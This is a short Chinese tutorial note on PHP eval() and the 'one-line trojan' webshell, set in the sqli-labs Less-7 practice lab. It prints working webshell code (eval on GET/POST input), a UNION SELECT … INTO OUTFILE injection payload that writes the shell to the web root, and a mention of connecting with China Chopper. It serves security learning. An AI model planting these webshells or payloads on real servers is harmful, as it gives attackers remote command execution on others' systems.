PHP 一句话木马

eval 函数

eval() 函数把字符串按照 PHP 代码来计算

该字符串必须是合法的 PHP 代码，且必须以分号结尾

如果没有在代码字符串中调用 return 语句，则返回 NULL。如果代码中存在解析错误，则 eval() 函数返回 false

eval 函数的一般用法

eval() 函数用于简单的文本合并

<?php
$string='cup';
$name='coffee';
$str='This is a $string with my $name in it.';
echo $str."\n";
eval("\$str=\"$str\";");
echo $str."\n";
?>

以上例程会输出

eval() 函数的特殊用法

用于构造一句话木马

eval($_GET["cmd"]);

两种方式

通过数据库写马

环境：sql_labs Less-7

写入一句话木马

union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile 'd:/wampserver/wamp64/www/sqli/sqli/Less-7/twx.txt'%23 

使用中国菜刀进行连接

可以访问并操作服务器文件

通过PHP 文件写马

<?php
eval($_GET["cmd"]);
?>

访问PHP 文件，查看phpinfo()